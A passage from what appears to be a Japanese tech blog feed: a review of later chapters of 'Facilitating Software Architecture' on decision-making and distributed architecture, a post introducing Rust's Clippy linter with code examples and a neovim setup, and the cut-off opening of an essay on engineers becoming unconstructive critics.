では、分散型の意思決定プロセスを効果的に実践するためのフレームワークや技術、心構えを紹介しています。まず、意思決定における人間的な側面に焦点を当て、感情、創造性、バイアス、恐れといった要素がどのように意思決定に影響を与えるかを探り、それを乗り越えるために認知科学やチェックリストを活用して自己の弱点を意識的に克服する方法を提案します。また、ソフトウェア開発における不確実性や「未知の未知」に対処するために、小さな決定を迅速に積み重ねるアプローチや、最小限の機能を持つシステムを構築して初期段階で重要な決定を検証する「Walking Skeleton」を推奨し、スパイクを活用してリスクを軽減する方法を説明します。さらに、意思決定の相互関連性を認識し、過去と未来の決定がどのように影響し合うかを4つの視点から分析しながら、技術的および社会技術的な要素を考慮したアプローチを示し、組織内の信頼関係や文化の影響を考慮した対話やフィードバックを重視することの重要性を強調しています。これらを通じて、分散型の意思決定を支える心構えと実践的な手法を提供し、複雑な意思決定の環境を乗り越えるための実用的な知見を得られるようにしています。Chapter 12. The Art of Deciding第12章「The Art of Deciding」は、アーキテクチャ意思決定における人間的な側面、感情や創造性といった定量化が難しい要素に焦点を当てています。著者は意思決定を単なる論理的プロセスとしてではなく、人間の感性や組織の文化が深く関わる芸術的な営みとして捉え、その本質と実践方法を詳細に解説しています。コンテキストのフレーミング意思決定における最初の重要なステップは適切なコンテキストの設定です。著者は地図の比喩を用いて説明します。1:1の地図は全ての詳細を含むものの実用的ではありません。一方で1:1000の地図は必要な情報を抽象化し意思決定を支援します。意思決定のコンテキストも同様に適切な抽象化と焦点付けが重要です。例えば私が以前関わったクラウド移行プロジェクトでは、技術的な観点だけでなく法規制やビジネス要件も含めた包括的なコンテキストを設定することで、より適切な意思決定が可能になりました。オプションと結果の検討意思決定のオプションと結果を検討する際は創造性が重要な役割を果たします。著者は「フレームに制限されすぎない」ことを強調します。これは実務でも重要な指摘です。以前のプロジェクトで既存のアーキテクチャパターンにとらわれすぎた結果、より良いソリューションを見逃した経験があります。オプションの検討ではインスピレーションの源を広く求めることも重要です。技術書だけでなく他分野の知見も参考になります。例えば著者は農業の本からも洞察を得ています。この多面的なアプローチは新しい視点をもたらします。アドバイスを通じた洗練アドバイスプロセスは意思決定の質を高める重要な要素です。ただしこれは形式的なものではなく社会的な契約として機能します。著者はBadaraccoの質問フレームワークを引用し「我々の義務は何か」「現実の世界で何が機能するか」といった観点からの検討を推奨します。実務ではアドバイスの質と形式のバランスが重要です。形式的なレビューに陥らず建設的な対話を生み出すには組織文化の醸成が必要です。私のチームでは週次のアーキテクチャ・フォーラムを設け、オープンな議論の場を作っています。メタ認知の重要性著者は意思決定者のメタ認知(自己の思考プロセスへの理解)の重要性を強調します。これは感情やバイアスへの対処に重要です。例えば「なぜその選択に不安を感じるのか」「どのようなバイアスが働いているのか」を意識的に考えることで、より良い判断が可能になります。実践では3つのエクササイズが提案されています。理由の共有・反応と応答の区別・挑戦的なアドバイスの積極的な収集です。これらは日々の意思決定プロセスに組み込むことで効果を発揮します。意思決定の実行最後の意思決定の実行段階では恐れとバイアスへの対処が重要です。著者はBikartの5つの恐れ(失敗・成功・同一化・認識欠如・利己性)を紹介し、これらへの認識と対処の重要性を説明します。実務では「決定を試着する」というアプローチが有効です。ADRをドラフト状態で作成し一晩置くことで、より客観的な判断が可能になります。私のチームでもこのプラクティスを採用し効果を上げています。組織文化への影響本章の内容は個人の意思決定スキル向上だけでなく組織文化の変革にも大きな示唆を与えます。従来型のアーキテクトが意思決定権限を手放し、アドバイザーとしての新しい役割を受け入れるプロセスは重要です。本章では著者が実際に経験した事例としてPete Hunter(エンジニアリングディレクター)のケースが印象的です。Pete Hunterはアーキテクチャ・アドバイスプロセスを初めて導入したクライアントの一人でした。彼は当初、チームに意思決定権限を委譲することへの不安や懸念を抱えていましたが、プロセスを通じて組織の成長を実感しました。Hunterの事例は権限移譲における心理的な課題を鮮明に示しています。彼は意思決定権限の委譲に際して、チームの能力や判断への不安、コントロール欲求との葛藤など、多くのリーダーが直面する感情的な課題を率直に語っています。しかし最終的に彼は「We need to let go and support them」(権限を手放してチームをサポートする必要がある)という重要な洞察に至りました。この経験は組織における信頼構築と権限委譲の本質を示す貴重な事例となっています。結論アーキテクチャ意思決定は論理的な分析だけでなく人間的な要素を含む複雑な営みです。本章は意思決定の「アート」としての側面に光を当て、より効果的な実践のための具体的なガイダンスを提供しています。重要なのはコンテキストのフレーミング、創造的なオプション検討、アドバイスプロセスの活用、メタ認知の実践です。これらの要素を意識的に取り入れることで、より良いアーキテクチャ意思決定が可能になります。今後の組織運営においては、これらの知見を活かした意思決定プロセスの確立と、それを支える文化の醸成が重要な課題となるでしょう。技術的な卓越性と人間的な洞察の両立が、現代のソフトウェアアーキテクチャ実践には不可欠です。Chapter 13. Tackling Architectural Variability第13章「Tackling Architectural Variability」は、ソフトウェア開発における不確実性とアーキテクチャの可変性に焦点を当てています。著者は同じシステムを二度と作ることはないという洞察から始め、この本質的な可変性にどう向き合うべきかについて具体的な指針を提供します。BIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?作者:ベント・フリウビヤ,ダン・ガードナーサンマーク出版Amazon可変性の本質と影響ソフトウェア開発における可変性は避けられない現実です。最も慎重に計画された開発プロジェクトでさえ予期せぬ変化に直面します。例えばある大規模プロジェクトでは、当初想定していなかったスケーリング要件の変更により、ID管理システムの設計を大幅に見直す必要が生じました。可変性は4つの主要な課題をもたらします。作業の困難さ、予測不可能な変更の発生、認知的負荷の増大、そしてコミュニケーションと同期のオーバーヘッドです。これらの課題は個々のチームだけでなく組織全体に影響を及ぼします。可変性への実践的アプローチ著者は可変性を単なる問題としてではなく「ソフトウェアの力の源泉」として捉え直すことを提案します。この視点は非常に重要です。私のチームでも、予期せぬ要件変更を新機能開発の機会として活用した経験があります。重要なのは小さな決定の積み重ねというアプローチです。この方法は3つの利点を持ちます。第一に意思決定から実装までの時間を短縮できます。第二にオーバーヘッドを削減できます。そして第三にフィードバックを加速し、リスクを低減できます。Walking Skeletonの活用著者は初期の意思決定を検証する手段としてWalking Skeletonの概念を紹介します。これは最小限の機能を持つ実装を通じて、主要なアーキテクチャ上の決定を早期に検証する手法です。新規プロジェクトの立ち上げ時にこのアプローチを採用し、大きな効果を得ました。注目すべきは機能的なコンテキストを通じた決定の検証です。単なる技術的な検証ではなく実際のユースケースに基づく検証により、より実践的なフィードバックを得ることができます。フラクチャープレーンの活用大きな決定を分割する際の指針として著者はフラクチャープレーンの概念を提示します。機能的、タイミング的、コードベース上の分割点を見極めることで、より効果的な意思決定が可能になります。私のプロジェクトでも、マイクロサービスの分割において、この考え方に基づいてサービス境界を定義し、成功を収めました。将来のフローへの影響意思決定は現在の開発フローだけでなく将来のフローにも影響を与えます。著者はReinertsenの「小さなバッチサイズは高いオーバーヘッドを生む」という一般的な認識への反論を紹介します。実際の開発現場でも、小さな決定の積み重ねが結果として意思決定の質と速度を向上させる事例を多く経験しています。結論可変性はソフトウェア開発の本質的な特徴であり、それを排除するのではなく「活用する」という視点が重要です。著者の提案する小さな決定の積み重ねというアプローチは、現代のソフトウェア開発における実践的な指針となります。この方法はマイクロサービスアーキテクチャなど複雑なシステムの開発において、高い効果を発揮しています。今後の組織運営においては、この知見を活かし「予測不可能性を前提とした開発プロセス」の確立が重要な課題となるでしょう。技術的な卓越性と人間的な洞察の両立が、現代のソフトウェアアーキテクチャ実践には不可欠です。Chapter 14. Variability and the Interconnectedness of Decisions第14章「Variability and the Interconnectedness of Decisions」は、アーキテクチャ意思決定の相互関連性とその可変性について深く掘り下げています。著者は意思決定の関係性を4つの視点から分析し、それらを理解し効果的に扱うためのツールとしてスパイクの活用を提案しています。「変化を嫌う人」を動かす:魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル,船木 謙一(監修)草思社Amazonスパイクによる可変性への対処意思決定の可変性に対処する強力なツールとして著者はスパイクの活用を提案します。スパイクは不確実性の高い決定を検証する際に非常に効果的です。例えば以前のプロジェクトでマイクロサービスアーキテクチャへの移行を検討した際、スパイクを使って主要なアーキテクチャ上の決定を早期に検証できました。Figure 14-1. Spikes fit into an overall decision process at the start, somewhere around “decision required” and “option making” より引用Figure 14-1に示されるように、スパイクは意思決定プロセスの初期段階で活用されます。本番環境へのデプロイまで待たずにフィードバックを得られることは大きな利点です。実際にスパイクを通じて想定外の課題を早期に発見し、アプローチを修正できた経験が何度もあります。意思決定の4つの視点著者は意思決定の関係性を理解するための4つの視点を提示します。第一に意思決定の連続性です。決定は単独で存在するのではなく時系列上で連なっています。第二に逆ピラミッド構造です。より低層の決定が上層の決定のコンテキストを形成します。第三に原子性です。これ以上分割できない最小単位の決定が存在します。第四に双方向の対話です。新しい決定が過去の決定に影響を与えることもあります。この4つの視点は実務でも非常に有用です。あるプロジェクトでは意思決定の逆ピラミッド構造を意識することで、より効果的な決定順序を設計できました。低層の決定が上層に与える影響を考慮することは重要です。レイヤー構造の重要性著者は意思決定を3つの主要なレイヤーで捉えることを提案します。レイヤー1は独立した製品やプログラムに関する決定です。レイヤー2は境界と制約の保護です。レイヤー3は自律的で接続されたコミュニティに関する決定です。でもこのレイヤー構造の理解は非常に重要でした。クラウドネイティブアプリケーションの開発では、レイヤー2での適切な境界設定が後の開発の成否を大きく左右しました。各レイヤーの特性を理解し意識的に決定を行うことで、より堅牢なアーキテクチャを実現できます。社会技術的な複雑性意思決定の相互関連性は技術的な側面だけでなく社会的な側面も持ちます。著者は信頼関係とコントロールの感覚の重要性を強調します。技術的に正しい決定であっても、組織の信頼関係が損なわれると実装が困難になることがあります。この文脈で参考になるのが『何回説明しても伝わらない』という本です。この本は認知科学の観点から、コミュニケーションの本質的な課題と解決策を提示しています。特に「話せばわかる」という前提自体を問い直し、相手の立場に立った理解と伝達の重要性を説いています。これは分散型アーキテクチャにおける意思決定プロセスを考える上でも重要な示唆を与えてくれます。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazonスパイクはこの社会技術的な複雑性にも対処できます。コードを書いて検証するという具体的なアプローチは、抽象的な議論よりも建設的な対話を促進します。私のチームでもスパイクを通じた検証により、チーム間の信頼関係を強化できた経験があります。結論可変性と相互関連性を持つアーキテクチャ意思決定において、スパイクは強力なツールとなります。意思決定の4つの視点を理解し、適切なレイヤー構造で捉えることで、より効果的な意思決定が可能になります。また社会技術的な側面にも配慮することで、組織全体としての決定の質を向上させることができます。今後の組織運営においては、これらの知見を活かし「早期検証と段階的な進化」を重視したアプローチが重要になるでしょう。技術的な卓越性と人間的な洞察の両立が、現代のソフトウェアアーキテクチャ実践には不可欠です。Chapter 15. The Transition of Power and Accountability第15章「The Transition of Power and Accountability」は、アーキテクチャ意思決定プロセスの導入に伴う権限と責任の移行について深く掘り下げています。著者は組織的・個人的な課題に焦点を当て、分散型アーキテクチャ実践への移行を成功させるための具体的な指針を提供します。権限移行の本質的な課題組織における権限移行は単純なプロセスではありません。伝統的な階層構造から分散型の意思決定モデルへの移行には大きな困難が伴いました。重要なのは心理的安全性の確保です。Figure 15-1. A circles and roles view of the advice process that shows the accountabilities inherent in the advice process, how they map to various roles, and how those roles interrelate より引用Figure 15-1は意思決定プロセスにおける役割と責任の関係を示しています。このモデルは単なる組織図ではなく、各役割が持つ責任と相互の関係性を明確に示します。実際のプロジェクトでもこのような可視化が有効でした。権限を得る側の課題権限を得る側の主な課題は「本当に権限を持っているのか」という不安です。私のチームでも当初はアーキテクトに過度に依存する傾向がありました。これを克服するには明確なコミュニケーションと段階的な移行が重要です。NetflixのSunshiningの例は印象的です。失敗を隠すのではなく公開し学習する文化は、権限移行の成功に不可欠です。私のプロジェクトでもこのアプローチを採用し、チームの自律性と学習能力が大きく向上しました。権限を手放す側の課題権限を手放す側も大きな不安を抱えます。「悪い決定がされるのではないか」という懸念は自然なものです。私自身もアーキテクトとしてこの不安を経験しました。しかし重要なのは「完璧な決定」ではなく「学習と改善のプロセス」です。注意が必要なのはサボタージュの問題です。著者は意図的な妨害行為の具体例を挙げています。このような行為は往々にして無意識に行われることが多く、早期発見と対処が重要でした。メタ認知の重要性著者はメタ認知(自己の思考プロセスの理解)の重要性を強調します。これは私も強く共感する点です。「反応」と「応答」の区別は実践的に非常に重要です。あるプロジェクトでは、チーム全体でこの概念を共有することで、より建設的な対話が可能になりました。メタ思考~「頭のいい人」の思考法を身につける作者:澤円大和書房Amazon結論権限と責任の移行は組織にとって大きな挑戦です。しかし適切に実施することで、より強靭で適応力のある組織を作ることができます。心理的安全性の確保と明確なコミュニケーションが重要でした。今後の組織運営においては、心理的安全性の確保と透明性の高いプロセスの確立が重要な課題となります。技術的な卓越性と人間的な洞察の両立が、現代のソフトウェアアーキテクチャ実践には不可欠です。Chapter 16. On Leadership第16章「On Leadership」は、分散型アーキテクチャにおけるリーダーシップの本質と実践について深く掘り下げています。著者はリーダーシップに関する一般的な誤解を解き、分散型アーキテクチャの文脈における効果的なリーダーシップのあり方を具体的に示しています。誰もが人を動かせる! あなたの人生を変えるリーダーシップ革命作者:森岡毅日経BPAmazonリーダーシップの誤解を解く著者はまずリーダーシップに関する4つの主要な誤解を指摘します。第一に「リーダーシップは生まれつきの才能である」という誤解です。著者はPeter Druckerの言葉を引用し「リーダーシップはパフォーマンスであり地道な仕事である」と主張します。第二に「リーダーシップは階層と結びついている」という誤解です。実際の組織では「ピーターの法則」として知られるように階層的な昇進は必ずしもリーダーシップ能力と一致しません。むしろ階層的な昇進システムそのものがリーダーシップの育成を阻害する可能性があります。第三に「リーダーシップは一方向的である」という誤解です。従来の考え方では指示は上から下へ一方向に流れると想定されてきました。しかし現代の組織では双方向のコミュニケーションとフィードバックが不可欠です。第四に「リーダーシップはマネジメントと同じである」という誤解です。マネジメントが現状の最適化を目指すのに対しリーダーシップは変革と未来に焦点を当てる点で本質的に異なります。Leader-Leaderアプローチ著者はリーダーシップのモデルとしてL. David Marquetの「Leader-Leader」アプローチを推奨します。このアプローチは全員がリーダーになり得るという信念に基づいています。重要なのは認知的な仕事においては従来の上意下達型のリーダーシップが機能しないという洞察です。Leader-Leaderアプローチでは「私はこうするつもりです」という宣言を通じてリーダーシップを実践します。この宣言に対して反対がなければ実行に移せます。これにより意思決定の分散化と迅速化を両立できます。移行期のリーダーシップ課題分散型アーキテクチャへの移行期には4つの主要な課題があります。第一に「コントロールを手放す」ことです。これは単なる形式的な権限移譲ではなく心理的な変革を必要とします。第二に「安全性を個別の決定より優先する」ことです。多様な視点を取り入れるには心理的安全性の確保が不可欠です。技術的な正しさよりも組織の信頼関係構築を優先する必要があります。第三に「I intend to」プラクティスの導入です。これは権限移譲を具体化する効果的な方法です。チームメンバーが主体的に行動を起こせる環境を作ります。第四に「信頼してから検証する」アプローチです。失敗を許容し学習機会として捉える文化づくりが重要です。検証は必要ですがマイクロマネジメントは避けるべきです。モラルリーダーシップの重要性著者はモラルリーダーシップの継続的な必要性を強調します。技術的パフォーマンスへの影響は過大評価されがちですが組織の道徳的側面への影響は過小評価されています。モラルリーダーシップは多様性を保護し心理的安全性を促進します。これは分散型アーキテクチャの実践において重要です。パワーバランスの偏りを防ぎ幅広い声が貢献できる環境を維持します。実践的な示唆著者の提案は現代のソフトウェア開発組織に重要な示唆を与えます。注目すべきはリーダーシップを特定の役職や個人に固定化しないという考え方です。組織の成長とともにリーダーシップも進化させる必要があります。継続的な学習とフィードバックを重視する文化づくりも重要です。失敗を恐れず実験と改善を繰り返すサイクルを確立することで組織全体の能力が向上します。結論本章は分散型アーキテクチャにおけるリーダーシップの新しいモデルを提示しています。Leader-Leaderアプローチとモラルリーダーシップの組み合わせは現代のソフトウェア開発組織に適した枠組みを提供します。重要なのはリーダーシップを学習可能なスキルとして捉える視点です。これは組織の持続的な成長と進化を支える基盤となります。今後の組織運営においてはこれらの知見を活かし分散型でありながら一貫性のある技術戦略を実現することが求められます。Chapter 17. Fitting the Advice Process Within Your Organization第17章「Fitting the Advice Process Within Your Organization」は、アーキテクチャ・アドバイスプロセスを既存の組織構造に統合する方法について深く掘り下げています。著者は組織の境界とその接点に注目し、分散型アーキテクチャ実践を組織全体に効果的に適用するための具体的な指針を提供しています。ソフトウェアエンジニアリングのサブカルチャー著者はまずソフトウェアエンジニアリング部門の独自性に着目します。伝統的な組織文化とは異なる特性を持つソフトウェア開発において、アドバイスプロセスは自然な形で受け入れられる可能性が高いと指摘します。注目すべきはソフトウェア開発の4つの特徴です。標準的な製品開発モデルとの違い、変化の速度、組織との接点の少なさ、そして既に受け入れられている文化的な違いです。これらは以前関わった大規模プロジェクトでも、ソフトウェア開発チームは他部門とは異なる働き方を自然に確立していました。アドバイスプロセスバブルの概念著者はアドバイスプロセスバブルという概念を提示します。このバブルは分散型実践のための明確な境界を持つ空間として機能します。Figure 17-1はバブルの基本的な構造を示しており、組織の他の部分との関係性を明確にします。Figure 17-1. An advice process bubble where teams practice the advice process, surrounded by the rest of the organization where everything continues as usual より引用バブルは完全に独立しているわけではありません。むしろ組織との適切な接点を維持しながら、内部の自律性を確保する仕組みとして機能します。私のチームでもこのアプローチを採用し、組織全体との調和を保ちながら独自の開発文化を育てることができました。バブルの成長と分割バブルの成長には慎重なアプローチが必要です。著者は段階的な成長と適切なタイミングでの分割を推奨します。Figure 17-2は分割後のバブル構造を示しており、組織とのインターフェースをどう維持するかが明確に示されています。Figure 17-2. An additional circle with responsibilities for linking into the wider organization’s performance management process has been added to the advice process bubble より引用重要なのはバブル分割の判断基準です。信頼関係の低下、意思決定の遅延、不必要な情報共有の増加などが分割のシグナルとなります。あるプロジェクトでは規模の拡大に伴いコミュニケーションコストが増大し、結果として2つのバブルに分割することで効率が改善しました。組織との期待値の管理著者は組織からの期待に対する適切な対応の重要性を強調します。明示的な期待と暗黙的な期待の区別が重要です。要件の達成や透明性の確保といった明示的な期待に加えて、階層的な質問への対応や適切なスキルの確保といった暗黙的な期待にも注意を払う必要があります。この観点は実務上極めて重要です。私のチームでも組織の期待を明確に理解し対応することで、分散型実践の価値を示すことができました。定期的なステータス報告や成果の可視化は、組織との信頼関係構築に大きく貢献しました。結論アドバイスプロセスの組織への適合は継続的な取り組みを必要とします。著者はバブルの独自性を保護しながら組織との調和を図ることの重要性を強調します。これは単なる技術的な課題ではなく、組織文化の変革を伴う取り組みです。このアプローチは現代のソフトウェア開発組織に極めて有効です。マイクロサービスアーキテクチャやDevOpsの実践において、チームの自律性と組織全体の整合性のバランスを取る際に役立ちました。今後の課題としては、リモートワークの普及やグローバル開発の加速に伴う新たな組織的課題への対応が考えられます。しかし著者が示した原則と実践的なアプローチは、これらの課題に対しても有効な指針となるはずです。おわりに実は本書を最初に読んだのは11月でした。読了後すぐに、この本の内容が字分の人生の年末の振り返りや自身の職務経歴書の更新と似ているなぁって思って、書評自体は年末年始に書こうと決めました。その間、折に触れて内容を整理し、メモを取り続けていましたが、実際の執筆は結局大晦日までずれ込んでしまいました。しかし、この「遅さ」が逆に、一年を通じての経験と本書の内容を結びつける機会を与えてくれたように思います。本書「Facilitating Software Architecture」を通じて、私たちは分散型アーキテクチャにおける実践的アプローチを学んできました。印象的だったのは、アーキテクチャの実践が単なる技術的な設計にとどまらず、組織文化や人間関係の深い理解を必要とすることです。本書の核心は、アーキテクチャを「共創的な営み」として捉える視点にあります。伝統的な中央集権型アプローチから分散型への移行は、単なるプロセスの変更以上の意味を持ちます。それは組織全体の思考様式の転換であり、新しい形の協働を生み出す試みです。アーキテクチャ・アドバイスプロセスとADR(Architecture Decision Records)は、この新しいアプローチを支える具体的な実践として重要です。これらは意思決定の透明性を高め、組織の学習を促進する強力なツールとなります。同時に、Technology RadarやWalking Skeletonといった手法は、不確実性の高い環境での実践的な指針を提供してくれます。しかし、最も重要なのは「信頼」を基盤とした組織文化の醸成です。分散型アーキテクチャの成功は、技術的な卓越性だけでなく、組織メンバー間の深い信頼関係に依存します。本書を通じて学んだ様々なプラクティスも、この信頼関係があってこそ効果を発揮するものです。この一年間、私自身が経験した技術への意欲の喪失と回復の過程は、本書の内容と深く共鳴するものでした。個人としてもチームとしても、時には立ち止まり、基本に立ち返ることの重要性を再認識させてくれます。心身の健康に意識を向け、純粋な楽しみの時間を大切にすることは、持続可能な開発文化の基盤となるでしょう。これからのソフトウェア開発は、さらなる複雑性と不確実性に直面することでしょう。しかし、本書で示された分散型アプローチと、それを支える様々な実践は、これらの課題に立ち向かうための強力な武器となるはずです。個人としても組織としても、継続的な学習と適応を重ねながら、より良いソフトウェア開発の実現を目指していきたいと思います。2024年もみなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-12-31T14:25:46.000Z","dateMiliSeconds":1735655146000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Clippyのすすめ - 他者の評価を気にせず何度でも指摘してくれる機械もしくは注意力の限界を超えてケアをしてくれる機械","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/27/170046","contentSnippet":"はじめにプログラミングを学ぶ上で、良いコードの書き方を知ることは非常に重要です。今回は、Rustで良いコードを書くための強力な味方、Clippyについて学んでいきましょう。プログラミング初心者の方から、他の言語からRustに移ってきた方まで、きっと新しい発見があるはずです。私も最近、Rustに関する素晴らしい本を読んでいます。「Effective Rust」と「Idiomatic Rust」は、Rustらしい書き方やデザインパターンについて詳しく解説していて、とても勉強になります。ただ、正直なところ、本を読んだだけでは私自身なかなか良いコードが書けず、ツールでのレビューで「これRustらしくないよね」とよく指摘されています。そのたびに勉強させられています。きっと同じような経験をされている方も多いのではないでしょうか。Idiomatic Rust: Code like a Rustacean (English Edition)作者:Matthews, BrendenManningAmazonEffective Rust: 35 Specific Ways to Improve Your Rust Code (English Edition)作者:Drysdale, DavidO'Reilly MediaAmazonそんな中で私の強い味方になっているのが、今回紹介するClippyです。本で学んだ内容を実践しようとするとき、Clippyは具体的なアドバイスをくれる、とても親切な存在です。特に「ここがRustらしくない」と言われたときの改善方法を、実例を挙げて教えてくれるのが心強いです。rust-lang.github.ioRust 標準 linter: Clippyプログラミング言語には、よくある間違いや非推奨の書き方をチェックして警告を発してくれる、lintというプログラムがあります。元々はC言語をチェックするものでしたが、現在では様々な言語のためのlinterが作られています。Lint Nightなんてイベントもあります。lintnight.connpass.comRustには言語標準のlinterがあり、その名をclippyと言います。使い方は極めて簡単で、cargoツールチェインがインストールされていれば、下記のようにインストールして、$ rustup component add clippy下記のコマンドをcrateのフォルダで実行するだけです。$ cargo clippyClippyのlinterとしての特徴linterはコードの品質を向上するために、多くの現場で使われているツールですが、実際には厳しすぎるルールや、実際の問題にそぐわないものも多くあります。これを偽陽性(false positive)の検出と呼びます。通常は設定ファイルや特殊なコメントをコードに埋め込むことによって、特定のlintの有効・無効を切り替えることになります。これは無視できない労力で、linterのバージョンを更新するたびに新たなルールに対応する必要が出てきたり、コメントによってコードが汚くなったりするデメリットもあります。Clippyの特徴は、デフォルトの設定でもそのような偽陽性の警告が少なく、実際にコードの品質が向上したり、プログラマとしての知識が得られるのを実感できるような警告が多いということです。実践的な例例えば、次のような関数を見てください:fn sum_squares(values: &Vec) -> i32 { values.iter().fold(0, |acc, value| acc + value * value)}この関数は問題なく動きますが、Idiomatic Rust(慣用的なRustコード)ではありません。Clippyは、次のような親切な警告を出してくれます:Checking test001 v0.1.0 (/Users/nwiizo/git/workspace_2024/clippy/test001)warning: writing `&Vec` instead of `&[_]` involves a new object where a slice will do --> src/main.rs:1:24 |1 | fn sum_squares(values: &Vec) -> i32 { | ^^^^^^^^^ help: change this to: `&[i32]` | = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#ptr_arg = note: `#[warn(clippy::ptr_arg)]` on by defaultこれは、&Vecよりも&[]のほうが汎用性が高いということを教えてくれています。Vecは&[T]に暗黙に変換されるので、わざわざVecで宣言するということは、使える範囲を狭めるだけで何のメリットもないのです。この関数は、機能性を全く損なわずに、次のように書き直すことができます:fn sum_squares(values: &[i32]) -> i32 { values.iter().fold(0, |acc, value| acc + value * value)}ミュータブル参照の場合ところで、引数の型がミュータブル参照であった場合は話が別です。&mut Vecと&mut [T]ではできることが異なります。次のように、引数のベクター型のサイズを変えるような関数は、ミュータブルスライスで置き換えることはできません:fn append_square(values: &mut Vec) { values.push(values.iter().fold(0, |acc, value| acc + value * value));}// 使用例let mut vv = vec![1,2,3];append_square(&mut vv);assert_eq!(vec![1,2,3,14], vv);このため、Clippyはミュータブル参照に対しては警告を発しません。これは、Clippyが文脈を理解して適切な判断を下せることを示す良い例です。neovim/nvim-lspconfig での設定VSCodeやCursor は知らないがこちらの設定でneovim は設定できる。 { \"neovim/nvim-lspconfig\", config = function() require(\"nvchad.configs.lspconfig\").defaults() local lspconfig = require \"lspconfig\" lspconfig.rust_analyzer.setup { settings = { [\"rust-analyzer\"] = { checkOnSave = { command = \"clippy\", extraArgs = { \"--all\", \"--\", \"-W\", \"clippy::all\" }, }, }, }, } require \"configs.lspconfig\" end, },おわりにClippyは、より良いRustプログラムを書くことができるように導いてくれる、優しい先生のような存在です。もちろん、Clippyも完璧ではなく、時には偽陽性の検出もありますが、それは人間でも同じことです。より良いRustの書き方を学び、コードの品質を向上させ、プログラミングの知識を深められるClippyは、人間のレビュアーとは違って何度指摘されても評価が下がることのない、心強い味方となってくれます。という利点があります。ぜひ、みなさんも日々のRustプログラミングにClippyを取り入れてみてください。疑問に思ったClippyの警告は、その都度調べてみることをお勧めします。そうすることで、Rustの理解がより深まっていくはずです。Effective Rustに関しては日本語の本が出ているので興味があれば読んでみても良いと思う。Effective Rust ―Rustコードを改善し、エコシステムを最大限に活用するための35項目作者:David Drysdaleオーム社Amazon個人的に良かった記事qiita.comkenoss.github.io業務 におけるRust の記事を読んだがどちらの記事もとても良かった。","isoDate":"2024-12-27T08:00:46.000Z","dateMiliSeconds":1735286446000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"「評論家気取り」という作る人の行き着く先が怖い","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/27/144509","contentSnippet":"らーめん再遊記 第一巻より引用らーめん再遊記(1) (ビッグコミックス)作者:久部緑郎,河合単小学館Amazonはじめに技術界隈には、長年続いている不穏な現象があります。コードを書くことに情熱を注いでいた人々が、いつの間にか他人の成果物を論評することに執心するようになってしまうのです。なぜ私たちは燃え尽きてしまうのか作者:ジョナサン マレシック青土社Amazonこの現象は、特にベテランと呼ばれるエンジニアたちの間で顕著です。彼らは確かな技術力を持ち、素晴らしい成果を残してきました。しかし、彼らの多くが、創造者から評論家への転身!?を遂げつつあります。仕事の辞め方 (幻冬舎単行本)作者:鈴木おさむ幻冬舎Amazon実は私たちエンジニアは皆、いずれ評論家になる運命を背負っているのかもしれません。年を重ね、技術の第一線から遠ざかるにつれ、「作る」ことから「評論する」ことへと、その重心を少しずつシフトさせていきます。それは半ば必然であり、誰もが通る道なのでしょう。だからこそ、今、この問題について考えたいと思います。これは、いずれ評論家になるかもしれない私自身への警告であり、そして自戒の言葉でもあります。実装者から評論家へ。エンジニアの変質を、私は憂慮しています。この静かな変化について、正面から向き合ってみましょう。作る側が評論に逃げるとき「このコードは素人レベルで時代遅れです。基礎から学び直してください」「アーキテクチャへの理解が浅く、重要な議論が抜け落ちています」「技術選定の根拠が説明されておらず、設計思想が古いままです」「なぜあのライブラリやアーキテクチャに触れていないのですか。初歩的な見落としです」SNSには辛辣な評論・批評が溢れ、技術ブログには高圧的な論評が並び、カンファレンスの裏チャンネルは批判で充満しています。最も危惧すべきは、これらの評論・批評の多くが、かつては優れたコードを生み出していたはずのエンジニアたちから発せられているということです。問題なのは、これらの言説が建設的な議論を装いながら、実際には単なる批判に終始している点です。 改善案を示すわけでもなく、プルリクエストを送るわけでもなく、ただ「ダメ出し」だけを繰り返しています。これは技術的な議論ではなく、単なる自己顕示でしかありません。アイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazon自意識が一流評論家になってしまったかつて天才だったエンジニアXのタイムラインには、自らを一流評論家だと思い込んだエンジニアたちが目立っています。「この実装は素人レベルです。こんなコードしか書けない人は、基礎から学び直すべきです」—そう断罪するのです。 しかし、彼ら自身は数年前の自分のコードを振り返ってみたことがあるでしょうか。あるいは最近では、実装よりもメンテナンス業務が中心になってはいないでしょうか。かつての優秀なエンジニアたちは、初学者への指摘だけでは飽き足らず、すでに実績のあるエンジニアたちにまで批判の矛先を向けています。有名OSSのプルリクエストには「この設計は時代遅れです。モダンな設計パターンを学んでから出直してください」と高圧的なコメントを残し、技術ブログに対しても「この技術選定の根拠が説明されていません」「重要な議論が抜け落ちています」と、まるで査読者のような態度で指摘を繰り返します。さらに気がかりなのは、オープンソースのイシューやプルリクエストへの不建設的な態度です。具体的な改善案を示すことなく、ただ問題点の指摘だけを行うのです。「なぜこの設計を選んだのですか?」「この実装では不十分です」という批判は、具体的な改善案を伴わない限り、何の価値も生み出せません。評論家気取りのポストで注目を集める快感に魅了されたエンジニアは、徐々に変質していきます。最初は些細な技術的指摘から始まり、「いいね」という承認欲求に駆られ、その評論は次第に厳しさを増していくのです。「なぜこの技術スタックを選んだのですか?」「なぜこの設計パターンを採用しなかったのですか?」—まるで面接官のように、実装者を追い詰める質問を投げかけ始めます。そして最も懸念すべきは、若手エンジニアの成長機会が損なわれていくという事実です。建設的なフィードバックの代わりに投げかけられる批判は、若手の挑戦する意欲を削ぎ、コミュニティへの貢献を躊躇させています。時には、自身を技術界の権威だと思い込んだエンジニアが、若手たちの真摯な努力までも批判の対象としてしまうのです。評論は衰退の始まりエンジニアが評論家めいた物言いを始めるとき、それは衰退の予兆かもしれません。ただし、適切な評論や建設的な批判は、技術の発展に不可欠な要素でもあります。レビューやフィードバックを通じて、実装の品質は向上し、よりよい設計が生まれていきます。問題なのは、創造的な貢献を